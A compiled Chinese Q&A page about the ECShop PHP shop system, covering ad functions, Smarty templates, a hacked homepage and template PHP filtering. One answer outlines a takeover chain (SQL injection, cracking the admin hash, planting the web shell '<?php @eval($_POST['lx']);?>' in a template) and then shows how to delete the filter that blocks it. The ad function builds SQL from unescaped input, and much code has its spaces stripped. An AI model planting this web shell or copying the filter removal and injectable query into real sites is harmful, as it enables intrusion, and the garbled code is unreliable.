① ecshop廣告函數在哪個文件夾
需要自己寫
functionget_advlist($position,$num=0){
$arr=array();
$limit_string='';
if($num>0)
{
$limit_string='limit'.$num;
}
$sql="selectap.ad_width,ap.ad_height,ad.ad_id,ad.ad_name,ad.ad_code,ad.ad_link,ad.ad_id,ad.link_manfrom".$GLOBALS['ecs']->table('ad_position')."asapleftjoin".$GLOBALS['ecs']->table('ad')."asadonad.position_id=ap.position_idwhereap.position_name='".$position."'andUNIX_TIMESTAMP()>ad.start_timeandUNIX_TIMESTAMP()<ad.end_timeandad.enabled=1$limit_string";
$res=$GLOBALS['db']->getAll($sql);
foreach($resas$idx=>$row)
{
$arr[$row['ad_id']]['name']=$row['ad_name'];
$arr[$row['ad_id']]['title']=$row['link_man'];
$arr[$row['ad_id']]['url']="affiche.php?ad_id=".$row['ad_id']."&uri=".$row['ad_link'];
$arr[$row['ad_id']]['image']='data/afficheimg/'.$row['ad_code'];
$arr[$row['ad_id']]['ad_code']=$row['ad_code'];
$arr[$row['ad_id']]['content']="<ahref='".$arr[$row['ad_id']]['url']."'title='".$row['ad_name']."'target='_blank'><imgsrc='data/afficheimg/".$row['ad_code']."'title='".$row['ad_name']."'alt='".$row['ad_name']."'/></a>";
}
return$arr;
}
② ecshop中模板自定義函數為什麼沒有{assign var="name" value=值 } 那麼ecshop中是用什麼在模板中賦值變數
全局_SESSION
局部 {$smarty.值}
你這是明顯的接觸 phpcms和織夢接觸多了,這些cms改變了編程思維。但ecshop用了正統的smarty
③ ecshop在模板里怎麼使用自定義函數,我說的是在htm頁面上使用
很多種方法。通過JS調取代碼函數。通過模板的方法insert函數。都行。
④ ecshop中javascript函數eval出錯問題
需要看下js的上下文,另說eval函數在一般情況下是不建議使用的。
⑤ ecshop被掛馬,首頁index.php總是被篡改成html代碼,刪不掉改不了還。
最近9月份出來的ecshop漏洞,對於2.72 .2.73 3.0 3.6 4.0版本的sql執行getshell漏洞導致的用ecshop程序的網站被入侵 user.php被刪除 而且網站首頁總是被篡改經常是標題和描述被修改從網路搜索打開網站跳轉到一些博cai網站,應該對轉義函數進行過濾防止post提交生成php腳本木馬文件,而且這個被篡改的問題是反復性質的,清理刪除代碼後沒過多久就又被篡改了。必須要對程序漏洞的根源問題進行修復網站漏洞,清理已經被上傳的隱蔽性的木馬後門。
如果對程序代碼不熟悉的話建議找專業做網站安全公司來處理此問題,國內推薦Sinesafe,綠盟,啟蒙星辰等等。
⑥ 怎麼去掉ecshop模板文件過濾php標簽
最好不要在模板裡面寫php。會導致sql注入,引起後台賬號泄露。
ECshop的模板是支持php代碼的,這個給一些不法分子創造了掛馬的機會,這些不法分子掛馬步驟很可能是:
1、通過ecshop的漏洞搞SQL注入,暴出管理員密碼md5值,然後通過**md5得到管理密碼。(注:防止暴出管理密碼md5值的方法是關閉display_errors,並且修改cls_mysql.php里的ErrorMsg函數,注釋掉所有錯誤輸出代碼或把錯誤寫入文件)
2、進入管理後台,通過模板管理->庫項目管理,編輯lbi文件,添加php代碼,例如<?php @eval($_POST['lx']);?>
3、到這里,就完全控制這個站了,想掛什麼馬就掛什麼馬。
可見,ECshop的模板支持php代碼這點是非常危險的,因此我們應該過濾模板里的所有php代碼。
如果實在要去掉ecshop模板文件過濾php標簽
修改 includes/cls_template.php
可以遵循以下步驟:
去掉第288-299行以下代碼:
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
這樣,模板里的php代碼就被保留了。
⑦ dedecms/ecshop連接資料庫類中構造函數為什麼要定義一個變數,如果為真才連接資料庫
先不連接主要是為了緩解伺服器壓力,因為這樣的cms系統一般在載入資料庫連接類的時候就進行初始化,但這個時候並沒有進行實際的向資料庫操作,所以減小伺服器的連接數,到用的時候再去判斷是否連接,如果未連接就去連接。
⑧ ecshop公共函數庫、類庫如何使用
復習ecshop項目
1. 理解Echsop的文件結構(文件夾、文件分別用來干什麼用?)
2. 公共函數庫、類庫如何使用?
3. 分析Ecshop資料庫中常用數據表的結構
4. 分析系統提供的類庫、函數庫、公共文件等
5. 分析ecshop中每個功能是如何通過MVC實現的功能?可以以用戶中心為例展開
......你看看這個計劃是和你一樣的吧
⑨ ecshop中$GLOBALS函數保存在那個文件
$GLOBALS 是PHP的全局變數,不是保存在文件里的。只要是 PHP 代碼就有,不是 ecshop 獨有變數。
⑩ ecshop中javascript函數eval出錯問題
建議你找專業的js工程師給你解決這個問題